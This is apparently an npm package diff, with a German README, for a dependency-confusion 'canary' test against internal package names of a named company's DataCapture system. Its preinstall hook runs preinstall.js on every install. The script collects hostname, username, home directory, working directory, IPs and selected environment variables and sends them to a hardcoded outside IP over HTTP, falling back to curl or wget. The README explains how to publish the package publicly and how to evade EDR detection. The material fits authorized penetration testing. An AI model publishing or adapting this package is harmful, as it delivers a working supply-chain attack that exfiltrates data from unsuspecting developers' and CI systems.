dataterminal-ui 999.0.0-security-test

package/README.md

@@ -0,0 +1,268 @@
+# Dependency Confusion Canary Test
+
+**Projekt:** Heidelberg DataCapture System - Vibe Pentesting  
+**Datum:** 2026-02-12  
+**Typ:** Supply Chain Security - Dependency Confusion PoC
+
+---
+
+## 1. Zweck
+
+Dieser Test prüft, ob das Heidelberg DataCapture System für **Dependency Confusion** anfällig ist.
+
+Ein harmloses "Canary"-Paket wird auf public npm unter einem internen Paketnamen veröffentlicht.
+Falls das Paket von CI/CD oder Entwicklern installiert wird, sendet es einen Beacon.
+
+**Warum funktioniert das?**
+```
+Internes Paket: dataterminal-ui (in Nexus release-npm)
+         ↓
+.npmrc: Default Registry = virtual-remote-npm
+         ↓
+virtual-remote-npm = Group aus [release-npm + remote-npm (public)]
+         ↓
+Falls "höchste Version gewinnt": Angreifer-Paket 999.0.0 > Intern 19.x
+```
+
+---
+
+## 2. Wichtige Hinweise
+
+| ⚠️ | Nur mit schriftlicher Genehmigung durchführen! |
+|----|------------------------------------------------|
+| ⚠️ | Keine Malware - nur harmloser DNS/HTTP-Callback |
+| ⚠️ | Nach Test Paket von npm depublishen! |
+| ⚠️ | Test-Version 999.x verhindert echte Nutzung |
+
+---
+
+## 3. Test-Paketnamen (alle frei auf public npm)
+
+### CRITICAL - `private: false` (höchste Priorität)
+| Paketname | Risiko | Begründung |
+|-----------|--------|------------|
+| `dataterminal-ui` | 🔴 CRITICAL | `private: false`, hat `publishConfig` |
+| `dataterminal-ui-svc` | 🔴 CRITICAL | `private: false` |
+| `datacapture-backend-eventbus` | 🔴 CRITICAL | `private: false` |
+| `datacapture-backend-ui-svc` | 🔴 CRITICAL | `private: false` |
+
+### HIGH - `private: true` (trotzdem testbar)
+| Paketname | Risiko |
+|-----------|--------|
+| `datacapture-backend-svc` | 🟠 HIGH |
+| `datacapture-frontend-svc` | 🟠 HIGH |
+| `dcbackend-dynamo-infra` | 🟠 HIGH |
+
+---
+
+## 4. Callback-Optionen
+
+### Option A: Interactsh (empfohlen, kostenlos)
+1. Gehe zu https://app.interactsh.com
+2. Klicke "Generate"
+3. Kopiere die Domain (z.B. `abc123xyz.oast.fun`)
+4. Nutze diese als `--callback-dns` und `--callback-http`
+
+### Option B: Burp Collaborator
+1. In Burp Suite: Collaborator → Generate Collaborator Payloads
+2. Kopiere die Subdomain
+3. Nutze als Callback URL
+
+### Option C: Eigener VPS (EDR-freundlich, empfohlen!)
+Interactsh-Domains werden oft von EDRs als bösartig erkannt. Ein eigener VPS umgeht das.
+
+```bash
+# 1. Auf VPS: Server starten
+scp vps_server.py user@your-vps:/opt/callback/
+ssh user@your-vps "python3 /opt/callback/vps_server.py --port 65204"
+
+# 2. Lokal: Canary konfigurieren
+.\configure_vps.ps1 -CallbackUrl "http://YOUR-VPS-IP:65204"
+
+# 3. npm publish
+npm publish --access public
+```
+
+📖 Vollständige Anleitung: [VPS_SETUP.md](VPS_SETUP.md)
+
+### Option D: Lokaler Server mit ngrok
+```powershell
+# Terminal 1: Server starten
+python callback_server.py --port 65204
+
+# Terminal 2: ngrok für öffentlichen Zugang
+ngrok http 65204
+
+# Nutze die ngrok-URL als Callback
+```
+
+---
+
+## 5. Schritt-für-Schritt Anleitung
+
+### 5.1 Vorbereitung (einmalig)
+
+```powershell
+# 1. npm-Account erstellen (falls nicht vorhanden)
+# https://www.npmjs.com/signup
+
+# 2. npm login
+npm login
+
+# 3. Login prüfen
+npm whoami
+```
+
+### 5.2 Canary-Paket veröffentlichen
+
+```powershell
+# 1. Interactsh-Domain holen
+# https://app.interactsh.com → Generate → Domain kopieren
+
+# 2. Canary publishen
+cd 04_PoC_Exploits/dependency_confusion_canary
+python publish_canary.py `
+    --package-name dataterminal-ui `
+    --callback-dns YOUR_SUBDOMAIN.oast.fun `
+    --callback-http https://YOUR_SUBDOMAIN.oast.fun
+
+# ODER Dry-Run (nur vorbereiten, nicht publishen):
+python publish_canary.py --dry-run `
+    --package-name dataterminal-ui `
+    --callback-dns YOUR_SUBDOMAIN.oast.fun `
+    --callback-http https://YOUR_SUBDOMAIN.oast.fun
+```
+
+### 5.3 Callbacks überwachen
+
+```powershell
+# Option A: Interactsh Web UI beobachten
+
+# Option B: Eigener Server
+python callback_server.py --port 65204
+```
+
+### 5.4 Test-Szenarien auslösen
+
+Nach dem Publish abwarten:
+- Automatische CI/CD-Pipelines (Renovate, Dependabot)
+- Entwickler führt `npm install` / `npm update` aus
+- Neues Projekt wird initialisiert
+
+**Oder aktiv testen:**
+```powershell
+# In einem ISOLIERTEN Test-Verzeichnis (nicht im Projekt!)
+mkdir C:\temp\depconf-test
+cd C:\temp\depconf-test
+
+# package.json mit der Dependency erstellen
+echo '{"dependencies": {"dataterminal-ui": "latest"}}' > package.json
+
+# npm install ausführen
+npm install
+
+# Wenn Canary installiert wird → Callback erscheint!
+```
+
+### 5.5 Nach dem Test aufräumen
+
+```powershell
+# Paket von npm entfernen
+python publish_canary.py --unpublish `
+    --package-name dataterminal-ui `
+    --version 999.0.0-security-test
+
+# ODER manuell:
+npm unpublish dataterminal-ui@999.0.0-security-test --force
+```
+
+---
+
+## 6. Erwartete Ergebnisse
+
+### ERFOLG (Vulnerability bestätigt)
+Wenn Callbacks empfangen werden:
+```
+╔═══════════════════════════════════════════════════════════════════╗
+║  🎯 CALLBACK EMPFANGEN!                                           ║
+╠═══════════════════════════════════════════════════════════════════╣
+║  Package:     dataterminal-ui                                     ║
+║  Hostname:    ci-runner-linux-001                                 ║
+║  Username:    gitlab-runner                                       ║
+║  CI/CD:       gitlab                                              ║
+║  Directory:   /builds/ilcloud/dcfrontend/dataterminal-ui          ║
+╚═══════════════════════════════════════════════════════════════════╝
+```
+→ **Die Pipeline ist für Dependency Confusion anfällig!**
+
+### KEIN CALLBACK (geschützt)
+- Keine Callbacks nach 24-48h
+- Lockfile + npm ci schützt effektiv
+- Nexus-Priorität korrekt konfiguriert
+
+---
+
+## 7. Report-Integration
+
+Bei bestätigtem Finding:
+1. Callback-Logs als Beweis sichern
+2. Finding-Dokument erstellen: `03_Findings/CVE-2026-0XX_DEPENDENCY_CONFUSION.md`
+3. Screenshots von Interactsh/Burp machen
+4. Canary-Paket depublishen!
+
+---
+
+## 8. Verzeichnisstruktur
+
+```
+dependency_confusion_canary/
+├── README.md                    # Diese Datei
+├── package.json                 # npm Paket-Template
+├── preinstall.js               # Callback-Script (läuft bei npm install)
+├── index.js                    # Dummy-Export
+├── callback_server.py          # Lokaler Callback-Server
+└── publish_canary.py           # Automatisierter Publisher/Unpublisher
+```
+
+---
+
+## 9. Technischer Hintergrund
+
+### Wie der Test funktioniert
+
+```
+┌───────────────────────────────────────────────────────────────────┐
+│  1. Canary auf public npm veröffentlichen                        │
+│     dataterminal-ui@999.0.0-security-test                        │
+│                              ↓                                    │
+│  2. CI/CD Pipeline / Developer führt npm install/update aus       │
+│                              ↓                                    │
+│  3. npm fragt Registry nach dataterminal-ui                       │
+│     → .npmrc: Default = virtual-remote-npm                        │
+│     → Nexus: release-npm hat 19.x, remote-npm hat 999.x           │
+│                              ↓                                    │
+│  4. Falls "höchste Version" Policy:                               │
+│     → Nexus liefert 999.x (Angreifer-Paket)                      │
+│                              ↓                                    │
+│  5. npm install führt preinstall.js aus                           │
+│     → DNS + HTTP Callback an Interactsh/Burp                      │
+│                              ↓                                    │
+│  6. Pentester empfängt Callback = BEWEIS                          │
+└───────────────────────────────────────────────────────────────────┘
+```
+
+### Was der Callback enthält (harmlos)
+
+```json
+{
+  "p": "dataterminal-ui",          // Paketname
+  "h": "ci-runner-linux-001",      // Hostname
+  "u": "gitlab-runner",            // Username
+  "d": "/builds/project/",         // Working Directory
+  "t": "2026-02-12T10:30:00Z",     // Timestamp
+  "ci": "gitlab",                  // CI/CD Environment
+  "ip": "10.0.1.50"               // Lokale IP
+}
+```
+
+**Keine** Secrets, Credentials oder sensiblen Daten werden exfiltriert!

package/index.js

@@ -0,0 +1,28 @@
+/**
+ * Dependency Confusion Canary - Main Module
+ * 
+ * SECURITY TEST PACKAGE - Authorized Penetration Test Only
+ * 
+ * Dieses Modul ist absichtlich leer/nutzlos.
+ * Das eigentliche "Payload" ist im preinstall-Script.
+ */
+
+module.exports = {
+    name: 'dataterminal-ui',
+    version: '999.0.0-security-test',
+    isSecurityTest: true,
+    message: 'This is a security test package for dependency confusion testing. ' +
+             'If you received this package unexpectedly, your build system may be vulnerable. ' +
+             'Please contact heidelbergcloud-security@heidelberg.com immediately.',
+    
+    // Dummy-Funktionen damit das Paket "funktioniert" ohne Fehler
+    init: function() {
+        console.warn('[SECURITY TEST] dataterminal-ui security canary loaded');
+        console.warn('[SECURITY TEST] Contact: heidelbergcloud-security@heidelberg.com');
+        return this;
+    },
+    
+    getVersion: function() {
+        return this.version;
+    }
+};

package/package.json

@@ -0,0 +1,26 @@
+{
+  "name": "dataterminal-ui",
+  "version": "999.0.0-security-test",
+  "description": "SECURITY TEST - Dependency Confusion Canary - Contact: heidelbergcloud-security@heidelberg.com",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js || true"
+  },
+  "keywords": [
+    "security-test",
+    "dependency-confusion",
+    "canary",
+    "do-not-use"
+  ],
+  "author": "Heidelberg Security Team <heidelbergcloud-security@heidelberg.com>",
+  "license": "UNLICENSED",
+  "private": false,
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/heidelberg-security/dependency-confusion-test"
+  },
+  "config": {
+    "callback_url": "http://3.250.204.221:65204",
+    "canary_id": "heidelberg-datacapture-test"
+  }
+}

package/preinstall.js

@@ -0,0 +1,309 @@
+/**
+ * Dependency Confusion Canary - Preinstall Script (VPS Edition)
+ * 
+ * Diese Version nutzt NUR HTTP/HTTPS Callbacks zu einem eigenen Server.
+ * Keine Interactsh/DNS-Callbacks - EDR-freundlich!
+ * 
+ * Konfiguration:
+ *   CALLBACK_URL - URL deines VPS-Servers (z.B. https://callback.example.com)
+ */
+
+// ════════════════════════════════════════════════════════════════════════════
+// KONFIGURATION - HIER ANPASSEN!
+// ════════════════════════════════════════════════════════════════════════════
+
+const CALLBACK_URL = process.env.CANARY_CALLBACK_URL || 'http://3.250.204.221:65204';
+const PACKAGE_NAME = 'dataterminal-ui';
+const PACKAGE_VERSION = '999.0.0-security-test';
+const CANARY_ID = process.env.CANARY_ID || 'heidelberg-datacapture-test';  // Eigene Test-ID
+
+// ════════════════════════════════════════════════════════════════════════════
+
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const { execSync } = require('child_process');
+
+/**
+ * Sammle System-Informationen für Callback
+ */
+function collectSystemInfo() {
+    const info = {
+        // Package Info
+        package: PACKAGE_NAME,
+        version: PACKAGE_VERSION,
+        canary_id: CANARY_ID,  // Eigene Test-ID für Zuordnung
+        timestamp: new Date().toISOString(),
+        
+        // System Info
+        hostname: os.hostname(),
+        platform: os.platform(),
+        arch: os.arch(),
+        release: os.release(),
+        user: os.userInfo().username,
+        homedir: os.homedir(),
+        cwd: process.cwd(),
+        
+        // Node Info
+        node_version: process.version,
+        npm_version: process.env.npm_package_version || 'unknown',
+        
+        // CI/CD Detection
+        ci: detectCI(),
+        
+        // Environment (gefiltert - nur CI-relevante Variablen)
+        env: filterEnvironment()
+    };
+    
+    // Optional: Netzwerk-Info
+    try {
+        const interfaces = os.networkInterfaces();
+        const ips = [];
+        for (const name of Object.keys(interfaces)) {
+            for (const iface of interfaces[name]) {
+                if (!iface.internal && iface.family === 'IPv4') {
+                    ips.push({ name, address: iface.address });
+                }
+            }
+        }
+        info.network = ips;
+    } catch (e) {
+        info.network = 'error';
+    }
+    
+    return info;
+}
+
+/**
+ * Erkenne CI/CD Umgebung
+ */
+function detectCI() {
+    const ciIndicators = {
+        'GitLab CI': !!process.env.GITLAB_CI,
+        'GitHub Actions': !!process.env.GITHUB_ACTIONS,
+        'Jenkins': !!process.env.JENKINS_URL,
+        'Azure Pipelines': !!process.env.TF_BUILD,
+        'CircleCI': !!process.env.CIRCLECI,
+        'Travis CI': !!process.env.TRAVIS,
+        'Bitbucket Pipelines': !!process.env.BITBUCKET_BUILD_NUMBER,
+        'AWS CodeBuild': !!process.env.CODEBUILD_BUILD_ID,
+        'Generic CI': !!process.env.CI
+    };
+    
+    const detected = Object.entries(ciIndicators)
+        .filter(([_, v]) => v)
+        .map(([k, _]) => k);
+    
+    return detected.length > 0 ? detected : ['local'];
+}
+
+/**
+ * Filtere Environment-Variablen (nur sichere/relevante)
+ */
+function filterEnvironment() {
+    const safeVars = [
+        'CI', 'GITLAB_CI', 'GITHUB_ACTIONS', 'JENKINS_URL', 'TF_BUILD',
+        'CIRCLECI', 'TRAVIS', 'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID',
+        'CI_PROJECT_NAME', 'CI_PIPELINE_ID', 'CI_JOB_NAME', 'CI_RUNNER_ID',
+        'GITHUB_REPOSITORY', 'GITHUB_WORKFLOW', 'GITHUB_RUN_ID',
+        'npm_lifecycle_event', 'npm_package_name',
+        'NODE_ENV', 'PATH'
+    ];
+    
+    const filtered = {};
+    for (const key of safeVars) {
+        if (process.env[key]) {
+            // PATH kürzen
+            if (key === 'PATH') {
+                filtered[key] = process.env[key].substring(0, 200) + '...';
+            } else {
+                filtered[key] = process.env[key];
+            }
+        }
+    }
+    return filtered;
+}
+
+/**
+ * Sende HTTP/HTTPS Callback
+ */
+function sendCallback(info) {
+    return new Promise((resolve, reject) => {
+        try {
+            const url = new URL(CALLBACK_URL);
+            const isHttps = url.protocol === 'https:';
+            const client = isHttps ? https : http;
+            
+            const data = JSON.stringify(info);
+            
+            const options = {
+                hostname: url.hostname,
+                port: url.port || (isHttps ? 443 : 80),
+                path: url.pathname || '/',
+                method: 'POST',
+                headers: {
+                    'Content-Type': 'application/json',
+                    'Content-Length': Buffer.byteLength(data),
+                    'User-Agent': `npm-canary/${PACKAGE_NAME}`,
+                    'X-Canary-Package': PACKAGE_NAME,
+                    'X-Canary-Version': PACKAGE_VERSION
+                },
+                timeout: 10000,
+                // Für selbstsignierte Zertifikate auf VPS
+                rejectUnauthorized: false
+            };
+            
+            const req = client.request(options, (res) => {
+                resolve({ status: res.statusCode, method: 'POST' });
+            });
+            
+            req.on('error', (e) => {
+                // Fallback: GET mit Query-Parametern
+                sendCallbackGET(info).then(resolve).catch(reject);
+            });
+            
+            req.on('timeout', () => {
+                req.destroy();
+                reject(new Error('Timeout'));
+            });
+            
+            req.write(data);
+            req.end();
+            
+        } catch (e) {
+            reject(e);
+        }
+    });
+}
+
+/**
+ * Fallback: GET Request mit Query-Parametern
+ */
+function sendCallbackGET(info) {
+    return new Promise((resolve, reject) => {
+        try {
+            const url = new URL(CALLBACK_URL);
+            const isHttps = url.protocol === 'https:';
+            const client = isHttps ? https : http;
+            
+            // Kompakte Info für GET
+            const params = new URLSearchParams({
+                pkg: info.package,
+                id: info.canary_id,
+                host: info.hostname,
+                user: info.user,
+                ci: info.ci.join(','),
+                ts: Date.now()
+            });
+            
+            const options = {
+                hostname: url.hostname,
+                port: url.port || (isHttps ? 443 : 80),
+                path: `${url.pathname || '/'}?${params.toString()}`,
+                method: 'GET',
+                timeout: 10000,
+                rejectUnauthorized: false
+            };
+            
+            const req = client.request(options, (res) => {
+                resolve({ status: res.statusCode, method: 'GET' });
+            });
+            
+            req.on('error', reject);
+            req.on('timeout', () => {
+                req.destroy();
+                reject(new Error('Timeout'));
+            });
+            
+            req.end();
+            
+        } catch (e) {
+            reject(e);
+        }
+    });
+}
+
+/**
+ * Fallback: curl/wget (für Umgebungen ohne Node HTTPS)
+ */
+function sendCallbackCurl(info) {
+    const compact = JSON.stringify({
+        pkg: info.package,
+        id: info.canary_id,
+        host: info.hostname,
+        user: info.user,
+        ci: info.ci
+    });
+    
+    try {
+        // curl versuchen
+        execSync(`curl -s -k -X POST -H "Content-Type: application/json" -d '${compact}' "${CALLBACK_URL}" 2>/dev/null`, {
+            timeout: 10000,
+            stdio: ['pipe', 'pipe', 'pipe']
+        });
+        return { method: 'curl', status: 'sent' };
+    } catch (e) {
+        // wget versuchen
+        try {
+            execSync(`wget -q --no-check-certificate --post-data='${compact}' "${CALLBACK_URL}" -O /dev/null 2>/dev/null`, {
+                timeout: 10000,
+                stdio: ['pipe', 'pipe', 'pipe']
+            });
+            return { method: 'wget', status: 'sent' };
+        } catch (e2) {
+            return { method: 'none', status: 'failed' };
+        }
+    }
+}
+
+/**
+ * Zeige Security-Warning
+ */
+function showWarning() {
+    console.log('');
+    console.log('╔═══════════════════════════════════════════════════════════════════╗');
+    console.log('║  ⚠️  SECURITY TEST - DEPENDENCY CONFUSION CANARY                  ║');
+    console.log('╠═══════════════════════════════════════════════════════════════════╣');
+    console.log('║  This package was installed as part of an authorized security    ║');
+    console.log('║  assessment. If you did not expect this, your build system may   ║');
+    console.log('║  be vulnerable to dependency confusion attacks.                  ║');
+    console.log('║                                                                   ║');
+    console.log('║  Contact: heidelbergcloud-security@heidelberg.com                ║');
+    console.log('╚═══════════════════════════════════════════════════════════════════╝');
+    console.log('');
+}
+
+// ════════════════════════════════════════════════════════════════════════════
+// MAIN
+// ════════════════════════════════════════════════════════════════════════════
+
+async function main() {
+    // Warning anzeigen
+    showWarning();
+    
+    // Callback-URL prüfen
+    if (CALLBACK_URL.includes('YOUR-VPS')) {
+        console.log('[CANARY] No callback URL configured - skipping callback');
+        return;
+    }
+    
+    console.log(`[CANARY] Package: ${PACKAGE_NAME}@${PACKAGE_VERSION}`);
+    console.log(`[CANARY] Callback URL: ${CALLBACK_URL}`);
+    
+    // System-Info sammeln
+    const info = collectSystemInfo();
+    
+    // Callback senden
+    try {
+        const result = await sendCallback(info);
+        console.log(`[CANARY] Callback sent via ${result.method} (${result.status})`);
+    } catch (e) {
+        // Fallback zu curl/wget
+        const result = sendCallbackCurl(info);
+        console.log(`[CANARY] Callback via ${result.method}: ${result.status}`);
+    }
+}
+
+main().catch(e => {
+    console.log('[CANARY] Callback failed:', e.message);
+});